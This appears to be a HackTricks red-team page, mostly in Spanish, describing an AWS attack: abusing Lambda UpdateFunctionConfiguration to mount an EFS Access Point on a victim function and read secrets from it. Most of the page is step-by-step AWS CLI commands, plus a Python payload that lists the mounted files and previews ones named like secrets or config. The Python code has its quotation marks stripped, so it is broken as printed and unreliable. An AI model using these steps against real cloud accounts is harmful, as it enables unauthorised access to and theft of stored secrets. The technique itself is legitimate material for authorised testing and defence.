AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Robo de datos)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Abusar de lambda:UpdateFunctionConfiguration para adjuntar un EFS Access Point existente a una Lambda, y luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrate secretos/config compartidos a los que la función previamente no podía acceder.

Requirements

  • Permissions on the victim account/principal:
  • lambda:GetFunctionConfiguration
  • lambda:ListFunctions (to find functions)
  • lambda:UpdateFunctionConfiguration
  • lambda:UpdateFunctionCode
  • lambda:InvokeFunction
  • efs:DescribeMountTargets (to confirm mount targets exist)
  • Environment assumptions:
  • Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
  • The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.

Attack

  • Variables
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
  1. Adjuntar el EFS Access Point a la Lambda
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Sobrescribir el código con un lector sencillo que liste archivos y lea los primeros 200 bytes de un archivo candidato de secretos o de configuración
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. Invocar y obtener los datos
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json

La salida debe contener la lista de directorios bajo /mnt/ht y una pequeña vista previa de un archivo secret/config elegido desde EFS.

Impacto

Un atacante con los permisos listados puede montar EFS Access Points arbitrarios dentro de la VPC en funciones Lambda víctimas para leer y exfiltrar la configuración compartida y los secrets almacenados en EFS que previamente eran inaccesibles para esa función.

Limpieza

aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks